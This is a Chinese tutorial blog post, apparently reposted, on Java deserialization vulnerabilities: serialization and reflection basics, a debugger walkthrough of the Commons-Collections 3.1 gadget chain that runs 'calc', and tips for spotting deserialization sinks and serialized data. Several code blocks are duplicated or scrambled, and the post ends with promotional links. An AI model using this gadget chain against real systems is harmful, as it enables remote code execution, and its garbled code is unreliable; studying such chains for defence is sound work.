当前位置:   article > 正文

详解Java反序列化漏洞_java反序列化漏洞加载字节码文件

java反序列化漏洞加载字节码文件

0×01:序列化基本概念

  • 序列化:将对象写入IO流中
  • 反序列化:从IO流中恢复对象
  • 意义:序列化机制允许将实现序列化的Java对象转换位字节序列,这些字节序列可以保存在磁盘上,或通过网络传输,以达到以后恢复成原来的对象。序列化机制使得对象可以脱离程序的运行而独立存在。

 

0×02:Java中的反射机制

1.反射机制的作用: 通过java语言中的反射机制可以操作字节码文件(可以读和修改字节码文件)

2. 反射机制的相关类在哪个包下java.lang.reflect.*;

3. 反射机制的相关类有哪些:

java.lang.Class 代表字节码文件,代表整个类

java.lang.reflect.Method 代表字节码中的方法字节码,代表类中的方法
java.lang.reflect.Constructor 代表字节码中的构造方法字节码,代表类中的构造方法java.lang.reflect.Field 代表字节码中的属性字节码,代表类中的属性。

我们先看最主要的部分——执行系统命令

  1. public class N0Tai1{
  2. public static void main(String[] args) throws Exception{
  3. } }
  4. Runtime calc = Runtime.getRuntime(); calc.exec("calc"); //Runtime.getRuntime().calc.exec("calc")

相应的反射代码如下:

  1. public class N0Tai1{
  2. public static void main(String[] args) throws Exception{
  3. } }
  4. Class c = Class.forName("java.lang.Runtime"); //c代表Runtime.class字节码文件,c代表Runtime类型
  5. Object obj = c.getMethod("getRuntime", null).invoke(c,null);
  6. /*
  7. * 通过getMethod对getRuntime这个方法进行实例化
  8. * getRuntime并不需要传参,所以传参类型为null,后面的invoke实现getRuntime
  9. * */
  10. String[] n0tai1 = {"calc.exe"}; c.getMethod("exec",String.class).invoke(obj,n0tai1);
  11. /*
  12. * getMethod对exec这个方法进行实例化
  13. * exec需要传一个String类型的字符串或者String类型的数组,然后invoke实现exec方法 * */

0×03:序列化的实现方式

序列化概述

如果需要将某个对象保存到磁盘上或者通过网络传输,那么这个类应该实现 Serializable 接口或者Externalizable接口之一。

使用到JDK中关键类 :

ObjectOutputStream (对象输出流) 和 ObjectInputStream (对象输入流)ObjectOutputStream 类中:通过使用 writeObject (Object object) 方法,将对象以二进制格式进行写入。

ObjectInputStream类中:

通过使用 readObject() 方法,从输入流中读取二进制流,转换成对象。

Transient关键字序列化的时候不会序列化Transient关键字修饰的变量,这个关键字不能修饰类和方法Static

静态变量也不会被序列化

serialVersionUID

这里是指序列化的版本号,版本不一致会导致抛出错误,并且拒绝载入序列化与反序列化样例:

  1. //Person.java
  2. package com.n0tai1.java.serialize;
  3. import java.io.FileOutputStream;
  4. import java.io.IOException;
  5. import java.io.ObjectOutputStream; import com.n0tai1.java.serialize.Student;
  6. public class Person{
  7. public static void main(String[] args) throws IOException {
  8. Student s = new Student(19,"ZAAAA"); System.out.println(s.Students()); System.out.println(s.toString()); ObjectOutputStream oos = new ObjectOutputStream(new
  9. FileOutputStream("I:\\project\\Java\\JavaSePro\\src\\flag.txt")); oos.writeObject(s);
  10. oos.flush();
  11. oos.close(); }
  12. }
  1. //Student.java
  2. package com.n0tai1.java.serialize;
  3. import java.io.Serializable;
  4. public class Student implements Serializable {
  5. private static final long serialVersionUID = 5407396955208161433L;
  6. private int age;
  7. private transient String name;
  8. public Student(int age, String name){
  9. this.age = age;
  10. this.name = name; }
  11. public String Students(){
  12. return "姓名: "+ this.name + " 年龄: " + this.age;
  13. }
  14. @Override
  15. public String toString() {
  16. return "姓名: "+ this.name + " 年龄: " + this.age;
  17. } }
  1. //unserialize.java
  2. package com.n0tai1.java.serialize;
  3. import java.io.FileInputStream;
  4. import java.io.IOException;
  5. import java.io.ObjectInputStream;
  6. import com.n0tai1.java.serialize.Student;
  7. public class unserialize{
  8. public static void main(String[] args) throws IOException,
  9. ClassNotFoundException
  10. {
  11. ObjectInputStream ois = new ObjectInputStream(new
  12. FileInputStream("I:\\project\\Java\\JavaSePro\\src\\flag.txt")); Object obj = ois.readObject();
  13. System.out.println(obj);
  14. ois.close(); }
  15. }
  16. 现在已经知道如何序列化和反序列化了,我们把刚刚写的弹计算器代码序列化处理一下package com.n0tai1.java.serialize;
  17. import com.n0tai1.java.serialize.ExecTest; import java.io.FileOutputStream;
  18. import java.io.ObjectOutputStream;
  19. public class Serializable{
  20. public static void main(String[] args) throws Exception {
  21. ExecTest s = new ExecTest();
  22. s.ExecTest();
  23. ObjectOutputStream oos = new ObjectOutputStream(new
  24. FileOutputStream("I:\\project\\Java\\JavaSePro\\src\\serialize.txt")); oos.writeObject(s);
  25. oos.flush();
  26. oos.close(); }
  27. }private transient String name;
  28. public Student(int age, String name){
  29. this.age = age;
  30. this.name = name; }
  31. public String Students(){
  32. return "姓名: "+ this.name + " 年龄: " + this.age;
  33. }
  34. @Override
  35. public String toString() {
  36. return "姓名: "+ this.name + " 年龄: " + this.age;
  37. } }
  1. //unserialize.java
  2. package com.n0tai1.java.serialize;
  3. import java.io.FileInputStream;
  4. import java.io.IOException;
  5. import java.io.ObjectInputStream;
  6. import com.n0tai1.java.serialize.Student;
  7. public class unserialize{
  8. public static void main(String[] args) throws IOException,
  9. ClassNotFoundException {
  10. ObjectInputStream ois = new ObjectInputStream(new
  11. FileInputStream("I:\\project\\Java\\JavaSePro\\src\\flag.txt")); Object obj = ois.readObject();
  12. System.out.println(obj);
  13. ois.close(); }
  14. }

现在已经知道如何序列化和反序列化了,我们把刚刚写的弹计算器代码序列化处理一下

  1. package com.n0tai1.java.serialize;
  2. import com.n0tai1.java.serialize.ExecTest; import java.io.FileOutputStream;
  3. import java.io.ObjectOutputStream;
  4. public class Serializable{
  5. public static void main(String[] args) throws Exception {
  6. ExecTest s = new ExecTest();
  7. s.ExecTest();
  8. ObjectOutputStream oos = new ObjectOutputStream(new
  9. FileOutputStream("I:\\project\\Java\\JavaSePro\\src\\serialize.txt")); oos.writeObject(s);
  10. oos.flush();
  11. oos.close(); }
  12. }
  1. package com.n0tai1.java.serialize;
  2. import java.io.Serializable;
  3. public class ExecTest implements Serializable {
  4. public void ExecTest() throws Exception{
  5. } }
  6. Class c = Class.forName("java.lang.Runtime");
  7. Object obj = c.getMethod("getRuntime", null).invoke(null); String[] n0tai1 = {"calc.exe"}; c.getMethod("exec",String.class).invoke(obj,n0tai1);
  1. //unserialize.java
  2. package com.n0tai1.java.serialize;
  3. import java.io.FileInputStream;
  4. import java.io.IOException;
  5. import java.io.ObjectInputStream;
  6. import com.n0tai1.java.serialize.ExecTest;
  7. public class unserialize{
  8. public static void main(String[] args) throws IOException,
  9. ClassNotFoundException {
  10. ObjectInputStream ois = new ObjectInputStream(new
  11. FileInputStream("I:\\project\\Java\\JavaSePro\\src\\serialize.txt")); Object obj = ois.readObject();
  12. System.out.println(obj);
  13. ois.close(); }
  14. }

但是这样测试后发现,反序列操作后,不能弹出计算器吗,因为Runtime类并没有实现 Serializable接口

commons-collections3.1源码分析

漏洞组件:https://mvnrepository.com/artifact/commons-collections/commons-collections/3.1

参考链接:https://security.tencent.com/index.php/blog/msg/97

我们直接入正题

v2-d9ddc2d8f42c8d194a39fd40e6884fdd_720w.png

我们可以通过

Map tansformedMap = TransformedMap.decorate(map,keyTransformer,valueTransformer)

来获得一个TransformedMap类的实例进而调用到TransformedMap的构造方法

v2-5c4e4520fdbb54759d17afe4de6deee4_720w.png

这里会调用到super(map),会调用到基类的有参构造

v2-c88f267b3e37b715536ffbc99889bd3e_720w.png

继续调用基类有参构造

v2-0d06f36589fc5341c00a084455345d78_720w.png

TransformedMap.decorate会对map类的数据结构进行转化

  1. TransformedMap.decorate方法,预期是对Map类的数据结构进行转化,该方法有三个参数。
  2. 第一个参数为待转化的Map对象
  3. 第二个参数为Map对象内的key要经过的转化方法(可为单个方法,也可为链,也可为空)
  4. 第三个参数为Map对象内的value要经过的转化方法

我们看今天的第一个主角ChainedTransformer.class,我们可以创建一个Transformer类型的数组,构造出ChainedTransformer,当触发的时候ChainedTransformer可以将闲散的数据组合

v2-4b6d0fbe75748f5e6f9737bd3b27cd4f_720w.png

我们看今天的第二个主角InvokerTransformer.class,我们可以给创建一个Transformer类型的数组, 然后对InvokerTransformer进行实例化

v2-15a5fac9a825450cfa39892c2e67ae23_720w.png

可以看到:

InvokerTransformer的transform中出现了 getMethod().invoke() 这种形式的代码,我们 如果可以控制传参,就可以RCE

那我们如何调用到InvokerTransformer和ChainedTransformer的transform呢?

这里我们需要用到:

AbstractInputCheckedMapDecorator下MapEntry下的setValue

v2-af406670b86f66107ba9d9125e066a97_720w.png

v2-679ac7a27890509b04e1f937513c48be_720w.png

v2-076513329320bbdeceb61c77d76fc317_720w.png

只要让iTransformers[i]为InvokerTransformer这个类的对象就可以调用到InvokerTransformer的transform

那我们如何触发呢? 在进行反序列化的时候我们会调用ObjectInputStream类的readObject()方法,如果反序列化类被重写

readObject(),那在反序列化的时候Java会优先调用重写的readObject()方法,这样就有了入口点

Payload分析

正文之前,在这之前说下我对getMethod和invoke这两个方法的理解

getMethod

返回一个Method对象,getMethod获取的是某个类下的某个方法,第一个参数是方法名,第二个参数 要看这个方法需要什么参数,如果需要字符串,那我们就写String.class,如果不需要传参,则用null即可

invoke

调用包装在当前Method对象中的方法 ,第一个参数是obj,也就是实例化的对象,第二个参数是方法(这里的方法是指getMethod第一个参数对应的方法)需要的参数

分析

我们直接拿ysoserial中的cc1的链子来对照着写一个(这里的代码借鉴了一位大佬的...但是网址忘记了....)

  1. import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap;
  2. import org.apache.commons.collections.Transformer; import java.util.HashMap;
  3. import java.util.Map;
  4. public class test{
  5. public static void main(String[] args)
  6. {
  7. Transformer[] transformers = new Transformer[] {
  8. new ConstantTransformer(Runtime.class),
  9. new InvokerTransformer("getMethod", new Class[] { String.class,
  10. Class[].class }, new Object[] { "getRuntime", new Class[0] }),
  11. new InvokerTransformer("invoke", new Class[] { Object.class,
  12. Object[].class }, new Object[] { null, new Object[0] }),
  13. new InvokerTransformer("exec", new Class[] { String.class }, new
  14. Object[] { "calc" }) };
  15. Transformer transformerChain = new ChainedTransformer(transformers);
  16. } }
  17. Map innermap = new HashMap();
  18. innermap.put("name", "hello");
  19. Map outmap = TransformedMap.decorate(innermap, null, transformerChain); Map.Entry elEntry = ( Map.Entry ) outmap.entrySet().iterator().next(); elEntry.setValue("hahah");

我们直接IDEA拉出来打个断点开始疯狂debug

v2-ea76e42026f7bbf76edfc9e7d9155309_720w.png

先跟这个实例化对象,看看发生了什么大事件

new ConstantTransformer()部分

v2-57b44397322e60d40d2fb2718fbf1d61_720w.png

这里传进来一个Runtime.class字节码文件,然后赋值给了被private和final修饰的iConstant变量,我们看一下这个变量

v2-2404512fe2b60521ba317d13bb69b79f_720w.png

new InvokerTransformer()部分

继续往下跟,跟到InvokerTranformer类的构造方法

v2-54445ce96e4c736e8a0095d1df72fcd9_720w.png

v2-beffcffdfdb93859fbb1f620d858fea0_720w.png

第一个参数是getMethod的作用是获取对象的方法

第二个参数是两个字节码文件String.class和Class.class

第三个参数是Runtime.class下的静态方法

v2-fb32071a5bbdf2da01df9a5fb822b5fd_720w.png

继续往下debug,依然是InvokerTransformer

v2-cee0582a1086ac26308c6bd50d4d835d_720w.png

第一个参数是invoke的作用是让这个方法执行

第二个参数是两个字节码文件Object.class和Object.class

第三个参数是一个Object类型的数组,为空

v2-9a2ce4ba830de6b527d219a01b6c78c3_720w.png

继续往下跟

v2-d21ace7fde8721b8aa52d779feb6477f_720w.png

第一个参数是exec的作用是执行系统命令,这个方法是Runtime.class下的

第二个参数是字节码文件String.class

第三个参数是Object类型的数组,里面只有一个元素calc(这里就是调用的地方)

new ChainedTransformer部分

v2-406271900248f23cb81b1499c10b79ad_720w.png

这里把这个有四个对象的数组传入了ChainedTransformer中的有参构造方法处理

v2-263647288f90b2b39baee1b4b39cbb4c_720w.png

赋值给了iTransformers

new HashMap()部分

v2-8fae5c9ae1abc456c05b1b2618f8b6b8_720w.png

这里定义了一个底层为哈希表的数组,然后用put方法添加了key和value

TransformedMap.decorate静态方法部分

v2-4630cf82dcb5dba9430c36a28baadb91_720w.png

在返回值中new了一个TransformedMap,调用了自身的有参构造方法

第一个参数接受的是我们put方法写入map数组的key和value

第二个参数接受的是null

第三个参数接受的是transformerChain,也就是4个对象组成的数组

v2-77a09db0b931a335a3c802758fa53b07_720w.png

调用了父类的构造方法,并且传了一个map

v2-b02259eeefce68ae987a655fa57cf9da_720w.png

继续调用父类的构造方法,仍传的是map

v2-8e0d24d8d1b3ffc68d5e9651f4150eb8_720w.png

继续往下

v2-4c953e4e925bf88f6f8c62bb15765e67_720w.png

Map.Entry学习和详解

将output这个map类型的数组强转到Map.Entry类型的数组中,并且用next获取一组key和value

然后后面调用setValue

v2-a0162c40dbe5d7469ca7fc3bed692dce_720w.png

调用了checkSetValue

v2-4fcdcab2a636713a03097618f909dbd5_720w.png

调用transform

v2-34e8d458d3e0c8e75a4dc491f12e4e42_720w.png

这里的就开始遍历我们之前写入的4个实例化对象,我们来看最终触发漏洞的关键地方

第一次遍历

v2-a7a9c57d69874397b4422e5e2a11d892_720w.png

返回的是Runtime.class

第二次遍历

v2-3a5db73904f4a87dd8000d274b028721_720w.png

给cls了一个Runtime.class字节码文件,cls现在是Runtime类型,然后getMethod获得一个方法对象, 方法名为getMethod,指定的传参类型为String和Object,之后调用invoke实现了getMethod方法并且传参是getRuntime

  1. Class cls = Class.forName("java.lang.Runtime")
  2. Method method = cls.getMethod("getMethod",new Class[] { String.class, Class[].class }).invoke(cls,"getRuntime");
  3. //等价于
  4. cls.getMethod("getRuntime",null).invoke(cls.null);
  5. //等价于
  6. cls.getMethod("getRuntime",null);

第三次遍历

v2-4e67401388679ac6c8529e79d6c9b43e_720w.png

getMethod获得一个方法对象,方法名为invoke,指定的传参类型为Object,然后调用invoke方法实现了invoke方法,传参为null

  1. cls.getMethod("invoke",new Class[] { Object.class, Object[].class }).invoke(cls,null);
  2. //等价于
  3. cls.invoke(null,null);

第四次遍历

v2-13f89ddf460ac26a49aa9dfc1aaf9f8f_720w.png

getMethod获得一个方法对象,方法名为exec,指定传参类型为String,然后通过invoke方法实现了exec方法,传参为calc

  1. cls.getMethod("exec",new Class[] { String.class }).invoke(cls,'calc');//等价于
  2. cls.exec("calc");

总结一下思路:

InvokerTransformer为漏洞触发处ChianedTransformer为一个容器,作用是帮我们把InvokerTransformer组成一个有序的数组,让其有序遍历

Transformer为一个接口类,这里写法单纯是多态而已....

1.利用setValue触发
AbstractInputCheckedMapDecorator下的setValue进而触发InvokerTransformer的transform这个漏洞触发点

2.第二次遍历生成的相当于一个未执行的Runtime.getRuntime(),第三次遍历相当于将Runtime.getRuntime()执行,第四次循环调用了runtime下的方法exec

0×04:如何发现Java反序列化漏洞

  • 白盒

可以检索源码中对反序列化函数的调用,例如:

  1. ObjectInputStream.readObject
  2. ObjectInputStream.readUnshared
  3. XMLDecoder.readObject
  4. Yaml.load
  5. XStream.fromXML
  6. ObjectMapper.readValue
  7. JSON.parseObject

确定输入点后,检查class path中是否有危险库,例如上文分析的Apache Commons Collections,若有危险库直接用ysoserial梭

弱无危险库,则检查是否有涉及代码执行的部分,查看是否有代码编写上的bug

  • 黑盒

我们可以通过抓包这种手段来检测是否有可控输入点,序列化数据通常以ACED开头,之后两个字节为版本号,一般情况是0005,某些情况下可能是更高的数字

如果不确定字符串是否为序列化数据,我们可以利用大牛写好的工具SerializationDumper来进行检测,用法如下:

java -jar SerializationDumper-v1.0.jar aced000573720008456d706c6f796565eae11e5afcd287c50200024c00086964656e746966797400 124c6a6176612f6c616e672f537472696e673b4c00046e616d6571007e0001787074000d47656e65 72616c207374616666740009e59198e5b7a5e794b2

网络安全学习资源分享:

给大家分享一份全套的网络安全学习资料,给那些想学习 网络安全的小伙伴们一点帮助!

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

因篇幅有限,仅展示部分资料,朋友们如果有需要全套《网络安全入门+进阶学习资源包》,需要点击下方链接即可前往获取 

 读者福利 | CSDN大礼包:《网络安全入门&进阶学习资源包》免费分享(安全链接,放心点击)

同时每个成长路线对应的板块都有配套的视频提供: 

大厂面试题

 

视频配套资料&国内外网安书籍、文档

当然除了有配套的视频,同时也为大家整理了各种文档和书籍资料

所有资料共282G,朋友们如果有需要全套《网络安全入门+进阶学习资源包》,可以扫描下方二维码或链接免费领取~ 

读者福利 | CSDN大礼包:《网络安全入门&进阶学习资源包》免费分享(安全链接,放心点击) 

特别声明:

此教程为纯技术分享!本教程的目的决不是为那些怀有不良动机的人提供及技术支持!也不承担因为技术被滥用所产生的连带责任!本教程的目的在于最大限度地唤醒大家对网络安全的重视,并采取相应的安全措施,从而减少由网络安全而带来的经济损失。

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/神奇cpp/article/detail/918306
推荐阅读
相关标签
  

闽ICP备14008679号